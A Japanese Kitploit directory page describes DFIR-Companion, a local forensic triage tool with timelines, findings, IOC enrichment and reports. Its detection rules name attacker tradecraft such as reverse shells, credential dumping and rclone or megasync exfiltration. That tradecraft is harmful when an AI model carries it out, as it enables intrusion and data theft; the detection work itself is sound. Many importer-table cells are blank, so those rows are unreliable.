Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DFIR-Companion — DFIRフォレンジックコンパニオンサーバー + キャプチャ拡張機能 | Kitploit
ツール/GitHubGitHub/hasamba/dfir-companion
防御ツール侵害指標 (IOC) 管理メモリフォレンジック脆弱性分析ネットワークフォレンジックフォレンジックマルウェア分析デジタルフォレンジック脅威インテリジェンスインシデントレスポンスAIセキュリティログ分析
181315時間25分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubhasamba/dfir-companion

DFIR-Companion

DFIRフォレンジックコンパニオンサーバー + キャプチャ拡張機能

リポジトリを見る

DFIR Companion ロゴ

DFIR Companion

License: AGPL v3

AI支援によるDFIRトリアージ — あなたのマシン上で。 調査のスクリーンショットとインポートした アーティファクトを、フォレンジックタイムライン、所見、IOC、資産↔IoCグラフ、共有可能なレポートに変換します。 ケースに対して平易な英語で質問し、他の調査担当者と共同作業できます。

ローカルホスト型のデジタルフォレンジック / インシデントレスポンスコンパニオン。ブラウザ拡張機能が 調査(Velociraptor、EDR/SIEMダッシュボード、Security Onion、Splunk4DFIR、VolWeb、VirusTotalなど)の スクリーンショットを証拠としてキャプチャし、ローカルサーバーがそれらを保存してウィンドウ化されたAIビジョン分析を 実行し、ケースごとの調査状態を蓄積していき、ライブダッシュボードとエクスポート可能なレポートを提供します。

すべてはあなたのマシン上で動作します — コンパニオンは127.0.0.1にのみバインドされ、証拠は ディスク上に留まり、AIプロバイダーはあなたが選択できます。

検出後の分析レイヤー。 DFIR Companionは検出エンジンではありません — Velociraptor、Security Onion、Chainsaw、Hayabusa、THOR、Cyber Triage、EDR/SIEMからの 判定を取り込み、それらを1つのフォレンジックタイムラインに相関させ、所見、攻撃者パス、IOC、レポートを統合します。 価値は**「だから何なのか」**にあり、アラートを再導出することではありません。

デモケース: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo

ハンズオンラボ: https://killercoda.com/dfir-companion/scenario/killercoda

ユーザーマニュアル: https://hasamba.github.io/DFIR-Companion/manual/

目次

  • クイックスタート
  • Docker / Docker Compose
  • Windows (Chocolatey)
  • Linux (AppImage)
  • スクリーンショット
  • 生成されるもの
  • 機能
  • MCPサーバーの使用
  • リポジトリ構成
  • 各部分の関係
  • 環境変数 (companion/.env)
  • npmスクリプト — 完全なCLIリファレンス
  • 推奨ワークフロー
  • ロードマップ
  • テスト
  • 免責事項
  • ライセンス

スクリーンショット

デモケース: GlobalTech Industries — BEC & ランサムウェア前兆、2026年5月。

実際の証拠をインポートせずに探索できる、完全に事前入力されたケース — 所見、IOC、 MITREテクニック、アナリストタグ/コメント、顧客露出データ、レポートメタデータがすべて 事前にシードされており、すべてのダッシュボードパネルに表示するものがあります。

ワンクリックで読み込み — ダッシュボードツールバーのDemo caseボタンをクリックします。ポータブル Windows EXEでも動作します(Nodeやnpmは不要)。ケースが既に存在する場合、ボタンは 上書き前に確認します。

またはCLIからシード(開発 / Docker):

root@kitploit:~
cd companion && npm run seed-demo              # creates case id "demo"
npm run seed-demo -- --force                  # overwrite an existing demo case
npm run seed-demo -- --case-id globaltech     # use a custom id

その後、http://127.0.0.1:4773/dashboardを開き、ケースに接続します。


エグゼクティブサマリー、ナラティブ & 攻撃パス

AI生成のケースサマリー、分刻みのナラティブ、攻撃者パスの記述 — 初期アクセスから ランサムウェア展開まで。

DFIR Companion — executive summary, narrative timeline, and attack path

フォレンジックタイムライン

重要度フィルター、トリアージタグ、行ごとの詳細リンク、インポート変更 トラッキング(展開可能な差分付きの新規イベントバナー)を備えた分析済みイベント。

DFIR Companion — forensic timeline with severity filters and triage tags

スーパータイムライン

スコープ/重要度フィルタリング前の、これまでにインポートされたすべてのイベント — 行をフィルタ、タグ付け、スター付けし、 分析済みフォレンジックタイムラインに昇格させます。何も削除されず、これはスーパーセットビューです。

DFIR Companion — super-timeline showing every imported event before promotion

タイムラインスイムレーン

資産(Y軸)と時間(X軸)ごとのイベントのビジュアルチャート。重要度で色分け — 時間軸を ドラッグしてフォレンジックタイムラインを範囲でフィルタリングできます。

DFIR Companion — timeline swimlane chart grouped by asset

所見

信頼スコア、アナリストトリアージタグ、MITRE ATT&CKテクニック リンクを備えたAI生成の所見。前回の統合実行以降に何が変わったかを追跡します。

DFIR Companion — findings list with confidence scores and MITRE ATT&CK links

キルチェーン

MITRE ATT&CK戦術ごとにバケット化されたイベント — 確認されたキルチェーンステージではなく、 AIを使わず決定論的に導出されたカテゴリ分類です。

DFIR Companion — kill chain view bucketing events by MITRE ATT&CK tactic

主要な調査上の問い

統合されたケースから自動回答される標準的なDFIRの問い(回答済み / 部分的 / 不明)。 それぞれに証拠ポインターまたは「次にこれを収集する」指示が付きます。

DFIR Companion — key investigative questions with answers and evidence pointers

プレイブック

所見と推奨される次のステップから自動導出される実行可能な修復チェックリスト。各統合実行時に 再同期されつつ、アナリストのステータス、担当者、期日は保持されます。

DFIR Companion — remediation playbook checklist derived from findings

ホスト & アカウントランキング

どのホスト/アカウントが攻撃を担っているかを、量ではなくシグナル(重要度で重み付けされたイベント + テクニック + 連結IOC)でスコアリングし、推奨スコープウィンドウを提示します。

DFIR Companion — host and account ranking scored by signal

証拠チェーングラフ

プロセスツリー、横展開、ファイル系統が1つの因果的攻撃グラフに縫い合わされます。インポーターが 投入したフィールドから決定論的に導出 — AIなし、コストなし、オフラインで動作。

DFIR Companion — evidence chain graph with process trees and lateral movement

ログイングラフ

誰がどこにログオンしたか — スーパータイムラインのログオンイベントからアカウントとホストをリンクし、 成功、失敗、リスクのある(RDP/runas/netonly)ログオンを区別します。

DFIR Companion — login graph linking accounts to hosts

ビーコン候補

人間のトラフィックにしては規則的すぎる定期的なアウトバウンドチャネル — 判定ではなくハンティングの手がかり。 候補ごとに間隔、ジッター、イベント数を示します。

DFIR Companion — beacon candidates table with interval and jitter

脅威インテリジェンスでエンリッチされたIOC

インジケーター(IP · ドメイン · ハッシュ · ファイル · プロセス · アカウント)をVirusTotal、 AbuseIPDB、ThreatFox、その他のプロバイダーに対してエンリッチ — 判定バッジ、検出スコア、NEWインポート ハイライト、アナリストトリアージラベル。

DFIR Companion — IOCs enriched with VirusTotal, AbuseIPDB, and ThreatFox

侵害された資産 & IOCグラフ

被害ホストとアカウントを、それぞれに触れたインジケーターにリンクするインタラクティブグラフ。加えて 既知の侵害されたホストとユーザーのリスト。

DFIR Companion — compromised assets and IOC graph

生成されるもの

  • フォレンジックタイムライン — アーティファクトからのタイムスタンプ付き実イベント。日付/重要度/ソースでソート・フィルタ可能
  • 所見 — テクニックごとの分析結論。重要度 + MITRE ATT&CKマッピング付き
  • ピン留めされた所見 — 主要な所見(📌)を所見パネル上部のスティッキーストリップにピン留め。ドラッグで並べ替え、ワンクリックでジャンプ、上限付きショートリスト、ケースごとに永続化(ケースアーカイブエクスポートに含まれる)
  • IOC、MITREカバレッジ、攻撃者パスナラティブ — クロスソースの裏付けバッジ + キルチェーン
  • インラインIOCクイックアクション — イベント行内の検出値(IP/ハッシュ/ドメイン/SID/URL/パス)またはIOC値をクリックするとワンクリックトレイが開きます: コピー、良性としてマーク、確認済み悪性としてマーク、ハントを提案 — 各結果は調査ログに記録されます
  • 攻撃フェーズ — タイムラインを時間ギャップでアクティビティバーストにグループ化し、支配的な戦術でラベル付け(決定論的、AIなし)
  • ビーコン/C2候補 — 規則的な到着間隔を持つアウトバウンドチャネル(証明ではなくハンティングの手がかり)
  • タイムライン異常 — 資産ごとのイベントレートスパイク。2つのベースライン: ピア(同じバケット内の他の資産よりはるかに忙しい資産)とセルフ(自身の典型的なレートを超えてバーストする資産 — 通常は静かなホストがバーストするのを捉え、広範なテレメトリでは隠せない)。Critical/High/Mediumでランク付けされ、タイムラインイベントにリンク(決定論的、AIなし)
  • ログギャップ分析 — タイムライン内の疑わしい沈黙期間を、密度 + 勤務時間ルールでフラグ付け
  • ギャップ仮説 & シャドウアーティファクト — 沈黙ウィンドウ中のAI提案の攻撃者アクション + 欠落した時間を再構築するためのVelociraptorコレクション
  • メモリフォレンジックの「ネクストステップ」 — Volatility 3/Rekallインポート時に、異常(親プロセスの誤り、注入されたメモリ、エンコードされたコマンド)を発見し、次の分析ステップを提案
  • 敵対者ヒント — テクニックの重複でランク付けされたMITRE ATT&CKグループ(オフラインデータセット、サブテクニック対応。帰属ではなく仮説の材料)
  • 敵対者エミュレーション — 次に来そうなテクニック: 一致したグループの名前付きトレードクラフトのうち、ケースがまだ観測していないもの。ハント優先度として際立ち度でランク付けされ、それぞれにワンクリックの「これをハント」→ Velociraptor VQLが付きます
  • 緩和策 & 防御的対抗手段 — ケースのテクニックに対する具体的なMITRE ATT&CK Mitigations(Mコード)。レバレッジ(どの緩和策が最も多くのテクニックをカバーするか)でランク付け。加えてMITRE D3FENDのハードニング/検出/隔離ステップ。オフライン、AIなし。「攻撃者が何をしたか」を「実際にどう対処するか」に橋渡しします。✨ 修復計画を生成ボタンが、それを具体的でインシデント固有のIR計画に変えます(AI呼び出し1回)
  • 侵害された資産 — 被害ホスト/アカウント + インタラクティブな資産↔IOCグラフ
  • ホスト & アカウントランキング — どのホスト/アカウントが攻撃を担っているかを、量ではなくシグナル(重要度で重み付けされたイベント + テクニック + 連結IOC)でスコアリングし、ワンクリックの推奨スコープウィンドウを提示。ランク付けされた行をクリックすると、そのスコアの背後にあるイベント/IOCがインラインで展開され(各最大50件)、タイムライン内の引用されたイベントに直接ジャンプできます
  • 主要な調査上の問い — 証拠へのポインターまたは収集すべき次のステップとともに回答
  • 調査スレッド — オープン/解決済みのリード
  • ダッシュボードビュープリセット — ワンクリックのAnalyst/Lead/Executive(役割)+ Triage/Report/Deep-Dive/Hunt-Prep(フェーズ)レイアウト。パネルを再配置し、重要度でフィルタリングし、レポートテンプレートを組み合わせます。ケースごとで、完全に編集可能。Analystはケースごとの保存された選択がない場合のデフォルトです。Customを明示的に選んでもリロードをまたいで保持されます
  • レポート — Markdown、HTML、PDF、Word (.docx)、CSV、JSONエクスポート

機能

オンボーディング

  • セットアップウィザード — 初回実行時のオーバーレイ(設定内にもあります)で、AI、Presidio、統合、エンリッチメント、プッシュ取り込み、NSRL、通知チャネルを設定。それぞれにライブテスト付き。すべてオプションです

キャプチャ & 取り込み

  • 最小権限のMV3ブラウザ拡張機能 — インストール時のサイトアクセスはゼロ、正確なオリジンのコンソール承認/取り消し、ワンオフのアクティブタブキャプチャ、タイマー + イベント駆動キャプチャ、ローカル権限監査、オフラインキュー + 自動同期
  • ワンクリックアーティファクトプッシュ — Splunk/Velociraptor/Kibana/Security Onion/SO-CRATES/CrowdStrike/VolWebがPush to DFIR-Companionボタンを注入。API JSONを傍受するかテーブルをスクレイプ。ポップアップは自動検出されたコンソールを表示し、タブごとに別のアダプター(またはなし)を強制するドロップダウンを備えます
  • 右クリック「Send to DFIR-Companion」 — 認識されたコンソールだけでなく、任意のページから、ページの選択テキスト、近くのテーブル、またはリンクのURLを接続されたケースに直接送信
  • ケース管理 — ダッシュボードの**+ New case**(テンプレートがインシデントの問い + インポートヒントを自動ロード)。不明なケースへのキャプチャは拒否されます
  • ケースのパスワード保護 — 🔒 Password… がダッシュボードでケースをロックし、サーバー側で強制されます。ロック中もキャプチャ取り込みは機能し続けます
  • ケースの完全削除 — ケースライフサイクルメニューの🗑️ Delete… がケースのディレクトリを完全に削除します。オプションで先にZIP/暗号化アーカイブを取得できます。実際のケースでないディレクトリには触れず、既にアーカイブされたケースのライブフォルダをそのアーカイブの下から削除することもありません
  • スクリーンショットのインポート — PNG/JPEG/WebPを複数選択。単一のImportボタンがアーティファクト形式(CSV/JSON/log)を自動検出
  • 「このファイルはどのホストから来たのか?」 — コレクターを名指ししないログエクスポートがそのホストを尋ねます。古い名前は以前の名前として折り込まれます
  • 証拠ドロップフォルダ — ケースのdrop/フォルダにコピーされたファイルはバックグラウンドでインポートされ、_processed/または_failed/に移動し、drop-log.txtにログ記録されます。asset=<HOST>サブフォルダがホストを名指しします
  • 外部ツールランナー(設定 → ツール) — 生の証拠に対して独自のHayabusa、Chainsaw、Velociraptor CLI、Suricata、Snort、YARAまたはカスタムツールを実行し、その出力をインポート。生の.evtxはバイト単位で保持され、パーサーバージョンと終了コードがカストディに記録され、フェイルクローズ、デフォルトではオフ
  • Claude Code経由のMCP(設定 → ツール) — ケースの証拠を、Claude Codeで設定したMCPサーバー(SIFT、REMnux、windows-triage)に送信。ホスト上にClaude Codeが必要です。コマンドランナーを持つサーバーはそこでコマンド実行を意味します — まずUsing your MCP serversをお読みください

証拠インポーター

すべてのインポーターは**決定論的(AI呼び出しなし)**で、アーティファクト自身のタイムスタンプを読み取り、クロスソース相関のために実際のツール名でイベントにタグ付けします。同じファイルをタイムラインを重複させることなく再インポートできます。

  • 正規のフォレンジックイベントスキーマ — バージョン管理された構造化された識別情報/来歴がインポートを支えます。グラフ結合はもはや説明文の文言に依存しません| 形式 | 主要なソース | 深刻度の導出元 | |---|---|---| | SIEM / EDR JSON | Elastic、Kibana、Splunk、QRadar、任意の JSON/NDJSON エクスポート | Windows/Sysmon の EID 別テーブル | | ECAR (EDR telemetry) | EDR Common Activity Record NDJSON (object/action/properties、epoch-ms timestamp_ms) — process/flow/logon/registry/module/file/thread イベント | Info 証跡; LOLBin/エンコードされたコマンドラインによる引き上げ (公開 IP → IOC) | | Windows Event Log XML | イベントビューアの「XML として保存」、wevtutil qe /f:xml、Get-WinEvent … ToXml() (Security、Sysmon、System、任意のチャネル) | Windows/Sysmon の EID 別テーブル | | Chainsaw | EVTX ハント JSON/JSONL (chainsaw hunt --json); ツールランナー経由で生の .evtx に対して直接実行可能 | マッチした Sigma ルールのレベル | | Hayabusa | json-timeline または csv-timeline | マッチした Sigma ルールのレベル | | Velociraptor | JSON 配列、JSONL、またはアーティファクトマップ | Sigma/YARA の判定または EID 別 | | THOR (Nextron) | JSON-Lines スキャン出力 | THOR アラートレベル | | Suricata / Zeek | 、Zeek JSON ログ; テレメトリ → IOC のみ | アラート優先度 / notice 深刻度 | | | 単一行アラートログ | ルールの (1→High / 2→Medium / 3→Low) | | | CLI スキャン出力 (ルールマッチ + 文字列/meta) | マッチごとに Info→Medium; ルールの / meta で引き上げ | | | Apache/Nginx/Squid の ログ形式 (Web サーバーまたはフォワードプロキシのアクセスログ); リクエスト URL、 を取得 (URL/Referer 内のシークレット + スキャナー/ボット/インジェクション UA がイベント + IOC として残る) | デフォルトで Info; アクセス拒否 (401/403/407) → Low; git smart-HTTP の clone/push → T1213 | | | Built/Teardown/Deny メッセージ | デフォルトで Info (テレメトリ); 明示的な → Low | | | RFC 5424 () + RFC 3164 () の Linux/Unix ホストログ | デフォルトで Info (テレメトリ); 認証失敗または crit/alert/emerg PRI → Low | | | SOC Alerts/Hunt イベント (ECS); 拡張機能または SOC API エクスポートによりプッシュ | (Suricata/SO ラベル) | | | Suricata アラート + YARA ファイルマッチ () および Sigma 検知 (); 拡張機能または生エクスポートによりプッシュ | Suricata 優先度 / Sigma レベル / YARA マッチ | | | JSONL / JSON / CSV タイムライン | Cyber Triage アイテムスコア | | | UAL、Entra サインイン + 監査ログ | BEC トレードクラフトテーブル / Entra riskLevel | | | System Log エクスポート | IdP トレードクラフトテーブル (MFA 無効化、管理者権限付与、API トークン発行、セッションなりすまし) — ベンダーの運用グレードではない | | | 管理者 + ログイン監査 | IdP トレードクラフトテーブル (2SV 無効化、ロール付与、OAuth 同意、メール監視追加) | | | Chrome/Edge/Brave の履歴、ダウンロード、解釈 (JSON または CSV) | — (Info イベント: ブラウザアーティファクトは証跡であり、判定ではない) | | | Unified log ()、LSQuarantine ダウンロードイベント、 属性、launchd plist、ログイン項目 (クラシック plist、、BTM) | 検疫レコード ↔ ファイル属性 ↔ ブラウザ訪問 ↔ プロセス起動を識別子で結合; plist は設定として読まれ、実行としては決して読まれない | | | LEAPP TSV エクスポートからの iOS + Android 抽出アーティファクト | — (Info イベント; タイムスタンプ列をキーとする汎用パーサー) | | | Records JSON、NDJSON、Athena | API アクションテーブル (IAM/ログ/S3/シークレット) | | | Cloud Audit Logs、Azure Activity Log | アクションテーブル (IAM/ログ/シークレット) | | | API サーバー監査ログ ( JSON-lines / EventList) | (verb, resource) テーブル — pod exec/attach T1609、secret access T1552.007、RBAC 変更 T1098、特権 pod T1610/T1611、匿名アクセス T1078 | | | スケジュールクエリ結果ログ (差分 + ) | Info テレメトリ; コマンドライン列に対する保守的なトレードクラフト引き上げ | | | CSV (dynamic + l2tcsv) | — (Info イベント) | | | CAPEv2 、Falcon Sandbox サマリー | サンプル判定 + 行動シグネチャ | | | Volatility 3 () + Rekall: pslist/pstree、netscan、malfind、cmdline、svcscan; JSON 実行エンベロープ (コマンド、終了ステータス、stderr) はエクスポートの隣にインポートされる | malfind のインジェクトコード → High (T1055); リスティング → Info/Low; ゼロ行または失敗した実行は、それが何を立証するかを示す | | | プラグインテーブル + | 同じプラグインマッピング; メモリ YARA ヒット → Low、密な多ルールクラスタ → Info; 行数上限を開示 | | | ケース / アラート JSON エクスポート、オブザーバブルリスト (TheHive 5) | TheHive 深刻度 1–4; ATT&CK タグ付きタグからの MITRE | | | (RFC 2822)、ベストエフォートの | SPF/DKIM/DMARC 失敗 → 送信者なりすましヒューリスティック (T1566 フィッシング) | | | / (bash + zsh 拡張履歴) | デフォルトで Info; トレードクラフト (リバースシェル、ダウンロード・アンド・エグゼキュート、資格情報アクセス、ログ/履歴改ざん、横方向 SSH) に対する保守的な引き上げ | | | SSH authorized keys、cron、systemd ユニット、シェルプロファイル、1 回の収集からの SUID リスティングと PATH | 誰でも書き込み可能なペイロード、root がユーザー書き込み可能ファイルを実行、setuid インタプリタ; 単に存在するだけでは何も格付けされない | | | 生の / レコード、 テーブル | レコードタイプテーブル (ログイン、アカウント管理、sudo、SELinux、監査改ざん) | | | / | syslog PRIORITY + トレードクラフト引き上げ (sshd、sudo、useradd) | | | Falco アラート JSON、sysdig イベント JSON | Falco ルール優先度; 生の syscall → Info テレメトリ | | | / NDJSON、または API エクスポート () | (≥13 Critical、≥10 High、≥7 Medium) | | | Velociraptor / EDR エクスポート | — | | | ファイアウォール、syslog、VPN; 反復行 → カウントされたパターン | AI トリアージ |

決定論的トレードクラフト格付け — Windows/Sysmon、ECAR、メモリのコマンドラインは、110 件を超える実際の侵入 (The DFIR Report、Huntress) から収集されたルールに対して格付けされます: 高信頼度のトレードクラフト → High とその ATT&CK テクニック (Defender 無効化、リカバリ阻害、資格情報ダンプ、リバーストンネル、Impacket、RMM/C2、クラウド持ち出し …)、両用 → Medium; 純粋な discovery はタグ付けされるが、決してエスカレートされません。

  • SSH ブルートフォース成功検知 (T1110.001) — 同じ送信元 IP からの失敗試行のバーストに続くログイン成功をフラグ → Medium
  • Windows ログオンタイプのリスク格付け — 4624 ログオンタイプをデコードし、リスクのある形状 (外部 RDP、ネットワーク平文、runas /netonly) を格付け → Medium
  • NTFS タイムストンプ検知 (T1070.006) — MFT $SI/$FN タイムスタンプの不一致をタイムストンプの可能性としてフラグ → Medium
  • ランサムウェアノート / リネームファイル検知 (T1486) — ランサムノートのファイル名と既知のファミリ拡張子をフラグし、ホストごとに集約、Info より上に置くことで上限に埋もれないようにする
  • RDP 横方向移動検知 (T1021.001) — 明示的資格情報による RDP ログオンを真にリモートのターゲットに対して Medium と格付け; ローカルセッションマネージャのノイズは Info のまま
  • ドライブバイダウンロードおよびクラウド持ち出しツール検知 (T1189 / T1567.002) — インターネットゾーンで実行可能なダウンロードと Prefetch 内の rclone/restic/megasync/megacmd 実行
  • 文脈的 YARA 深刻度 — フラットな High ではなく、どこで何にマッチしたかでヒットを格付け (自己スキャン → Info、ページファイル文字列 → Low、実パス上の名前付きマルウェア → High)
  • インジェクションおよびハロウィングシーケンス — Sysmon 10 / 8 / 25 / 1 を一致するプロセス GUID のみで結合; access-then-thread および create-replace-thread の形状 → High + T1055
  • 実行により裏付けられたダウンロードマーク — Zone.Identifier マークは、同じファイルの Prefetch、プロセス起動、存在レコードと照合して読まれ、実行がそれより後の日付である場合にのみ引き上げられる; 隠しストリームペイロードは名前ではなく内容で格付けされる
  • Defender エピソード — Defender が対処したパスからのプロセス起動で、その対処より後の日付のものは注釈され引き上げられる; 修復後の同一ダイジェスト起動は High の所見
  • コピーされたバイナリの手がかり — 変更時刻が作成時刻より前である MFT 行はここにコピーされた (リネームされた 、ドロップされたツール)

AI 分析

  • ガイド付き AI セットアップ — セットアップウィザードの最初のステップでプロバイダー → モデル (安価/強力の提案) → キー → オプションのベース URL を選択し、離れる前にライブ接続テストを実行
  • 二段階 — 安価なウィンドウごとの vision (抽出) + 強力なテキストのみの統合 (所見/IOC/MITRE/攻撃者パス)
  • プロバイダー — OpenAI、OpenRouter、Ollama、LiteLLM、Gemini、Anthropic、Claude Code CLI、Codex CLI; コンテキスト予算を伴うオプションの二層 (安価な抽出 + 強力な統合)
  • 証跡としての EDR/SIEM コンソール — 検知を抽出; アナリストのナビゲーションをフィルタ (実際の検知は決して落とされない)
  • 深刻度を意識した所見 — Critical/High 行が所見になる; 見逃された高深刻度イベントに対する決定論的自動作成
  • 信頼度スコアリング + 推論 — すべての所見は 0–100% の信頼度 (証跡の強さ、ツールの裏付け、モデルの確信度を重み付け) と 1 行の理由を持つ; ケースごとの永続的な最小信頼度フィルタ (リロード後も保持) がオンデマンドで低信頼度の所見を隠す
  • KEV / ツール確認済み / 未確認リードのバッジ — 所見が活発に悪用されている CVE、ツールで格付けされた検知、または生のテレメトリのみのいずれかで裏付けられているかをフラグ
  • 効率的な統合 — ライブのデバウンス再統合; 変更がなければスキップ; 層化されたイベント選択 + 資産↔IOC ダイジェスト
  • 統合の検知グループ化 — 同じ検知の反復ヒットをヒット数/ホスト分散/時間範囲とともに 1 つのプロンプトエントリに集約し、検知の多いインポートが数百行に制限されないようにする
  • 統合イベント上限の引き上げ (300 → 600) — さらに Info 深刻度イベントがプロンプト予算を競わなくなり、典型的なケースの格付けされた検知がすべて 1 パスでモデルに届く
  • ディープパス — アナリストがトリガーするバッチ実行で、選択した深刻度フロアのすべての格付け済みイベントを読み、大規模なマルチホストケースを AI で完全にカバーする; 何も費やす前にフロアごとのコスト/カバレッジの無料プレビューと専用ダッシュボードパネル付き
  • 統合カバレッジ監査 — synth-meta カードが、実行がウィンドウ内のイベントをいくつ考慮し、いくつ省略したか、そしてその理由を示す
  • 第二の LLM の意見 — ライバルモデル (B) がケースを再統合; 設定可能なレフェリーが引用されたイベントから各不一致を判定; 項目ごとに受け入れるか、ワンクリックで レフェリーに従う
  • 見逃された証跡のレビュー — アナリストが押す高速モデル (Jev) が、コンテンツタガーが残した Info 行を格付け; 行にチェックを入れてモデルのグレードで昇格 ( DFIR_JEV_ENABLED までオフ)
  • 否定的な回答はその証跡を明示 — ホストごとの収集インベントリが統合に届くため、「観測されなかった」は何が収集され、次に何を収集すべきかを示す
  • このセッションの他のコマンド — 各所見は、どの所見も名指ししない攻撃セッションのコマンドラインを列挙
  • AI 支援コンテンツタガールール — ルールを平易な英語で記述; AI がドラフト、プレビュー、追加
  • AI 入力の匿名化 — IP、ユーザー、ホスト、ドメイン、メール、パス、カード/電話/国民 ID 番号、エンコードされたコマンド、SID を可逆的にトークン化; シークレットは一方向に墨消し。オプションの Presidio が名前を捕捉、承認ゲート付き

相関と重複排除

  • クロスソース相関 — 異なるツールが見た同じアーティファクトが 1 つの裏付けられたイベントに集約され (共有ハッシュ / 時間ウィンドウ内の同じパス / 完全一致)、実際のツール名でタグ付けされる。冪等 — 再インポートしてもタイムラインが二重にならない。
  • クロスツールのコマンドライン相関 — コマンドライン、親プロセス、ホストを共有する、異なるツールが報告した同じプロセス作成イベントをマージ
  • 裏付けフィルタ (レンズ) — セクションごとのコントロール (タイムライン / IOC / 所見) で、2+ または 3+ のツールが見た項目のみを表示; ゲートではなくレンズ
  • ソースごとのノイズ/信頼スコア — 相関の文言と信頼度上限のためにソースを信頼性で重み付け; ケースごとに上書き可能### 調査ワークフロー
  • ホストスコープとクリアランス台帳 — 証拠に基づくホストごとのステータス、不足している証拠クラスを明示する適格性チェックリストに基づくアナリストのクリアランス、追記のみの帰属された決定、フラグを立てるが元に戻さない陳腐化、証拠に名前が挙がっているが一度も収集されていないホストのランク付きリスト
  • 再現可能な分析実行台帳 — インポート、タグ付け、エンリッチメント、統合、レポートは、証拠を固定する不変のハッシュチェーン化されたマニフェストを残す。実行は検査、再生、比較が可能
  • 管理されたレポートレビューと不変リリース — ドラフト → ピアレビュー → 承認、証拠と完全性のリリースゲート、アイデンティティに紐づくサインオフ、明示的なスーパーセッション、バージョン差分、凍結されたエグゼクティブ/テクニカル/リーガル/IOCパック
  • オプションの認証済みチームモード — OIDCまたは監査済みローカルアカウント、ケースごとのロール、サービスアイデンティティ、アナリストの帰属。ループバックのシングルユーザーがデフォルトのまま(セットアップガイド)
  • 引用付きAI回答 — 所見、Ask-the-case、Explain Event、AI提案ハント(プレイブック+フリート)は、ダッシュボードとエクスポートされたレポートの両方で、裏付けとなるフォレンジックイベント/所見への番号付きクリック可能な引用を表示
  • Explain This Event — 💡 行ごとのAIボタンが、あらゆるフォレンジックイベントを文脈で説明:何が起きたか、なぜ重要か、正常vs疑わしい、ATT&CKマッピング、1〜3の実行可能なピボットクエリ(VQL/KQL/SPL)、賛否の証拠。エフェメラルオーバーレイ
  • Ask the case (GraphRAG) — タイムライン+決定論的証拠チェーングラフに基づく自由形式のQ&A。マルチホップの質問は実際の関係性を介して回答
  • 仮説駆動モード — 証拠リンクとACHスタイルのランキングを備えたステータス追跡型仮説。オープンな仮説は統合を方向づけ、統合とアーカイブを生き延びる
  • オンデマンド仮説反証レビュー — 「Review」ボタンが、完全な統合を再実行せずに、オープンな仮説に対して賛否に焦点を当てたパスを実行
  • 識別証拠 — すべての観察は、それが仮説を代替案から分離するのか、すべてに当てはまるのかを述べる。根拠が変わった凍結された判断はレビューのためにフラグが立てられる
  • 2軸での攻撃結果 — 各所見は実行(観察済み/未観察)と制御(ブロック/修復済み/失敗/許可/なし)を別々に記録し、アナリスト設定かつ統合耐性あり。ブロックされた攻撃は却下もHighのまま放置もされない
  • 所見タスク — 各Critical/High所見は、番号付きステップとDone-when行を備えた、命令形で証拠に名前を付けたプレイブックタスクになる
  • ハンドオフブリーフ — シフト交代パネル:オーナー別の所見、未解決の質問と仮説、次のステップ、未チェックのIOC、最後のインポート、退任アナリストのメモ。Markdownとしてコピー、オプトインのレポートセクション
  • 宣言されたスコープの分析 — フィッシングキャンペーンスコープ、Served exposure、Kerberoastチェーン、Sensitive access:重要なものを宣言し、行が確立するものを段階ごとに読む
  • 修復後の再発チェック — 修復境界を宣言。Verifyはカバレッジを明示した事実を返し、否定的な評決は決して返さない。残余リスクのステータスはアナリストのもので、不変のレシートに対して記録される
  • 帰属ギャップリード — 各帰属主張の隣に、そのATT&CKグループが使用すると文書化されているがこのケースでは示されていないテクニックを、ハントリードとして表示
  • — 統合は各実行を永続的で決して消去されないInvestigation Logに記録。ブロック(タイムラインのギャップ、未カバーのATT&CKフェーズ、類似アクターの次のテクニック)が統合+ハント提案の根拠となる。オプトインの候補アクター仮説()

脅威インテリジェンスエンリッチメント(デフォルトオフ — ケースごとにオプトイン)

  • ソース — VirusTotal、Hunting.ch(MalwareBazaar/ThreatFox/URLhaus/YARAify)、CrowdStrike Falcon TI、AbuseIPDB、MISP、YETI、OpenCTI、RockyRaccoon(プロセス有病率+異常な親/子)、CIRCL hashlookup(キー不要の既知ファイル/known-goodハッシュルックアップ — 偽陽性を削減)
  • 類似/タイポスクワットドメイン検出 — オフラインプロバイダーが一般的なブランドをなりすますドメインにフラグを立てる(T1566/T1583.001)。デフォルトオン
  • IPインフラストラクチャ — Reverse DNS(PTRホスト名)、RDAP経由のWHOIS(ネットブロック/ASN/abuse連絡先)、GeoIP(国/都市/ASN/組織)、Shodan host(ホストされたドメイン/ポート/サービス/CVE)。「どこから/誰が所有/何がホストされているか」のコンテキスト層 — Reverse DNS/WHOIS/GeoIPはキー不要、ShodanはDFIR_SHODAN_KEYを再利用
  • ローカルvs外部 — MISP/YETI/OpenCTIはオンボックス。サードパーティSaaSはケースごとにオプトイン。ソースを有効化すると既存のすべてのIOCを再チェック
  • 日付付き、出典付きの評決 — 各ヒットはプロバイダーの日付、起源、作成者を伴う。期限切れおよび取り消された主張は保持されマークされ、Intel Retirement Reviewがインテリジェンスが陳腐化した所見をリストする
  • 到達可能性ゲート — セルフホストインスタンスをヘルスプローブ。オンライン時に自動再開

顧客露出(IOCエンリッチメントとは別)

  • 被害組織の資産のみ — HIBP、LeakCheck、DeHashed(メール侵害)、Shodan(露出したホスト/ポート/CVE)。プロバイダーごとにオプトイン
  • OPSEC境界 — アナリストが入力したドメインのみクエリ。敵対者/IOCドメインは決して送信されない。生のパスワードは決して保存されない### ダッシュボードとレポート
  • 調査担当者コックピット — デフォルトのNowビューが次のリード、ギャップ、レポートのブロッカーをランク付けします。Story so farはキルチェーン段階ごとに1枚のカードを表示し、プレーンテキストのブリーフとしてコピーできます
  • WebSocket上のライブダッシュボード — 折りたたみ可能、ドラッグで並べ替え可能なセクション、スコープバー、クリック可能な証拠リンク、バッジ
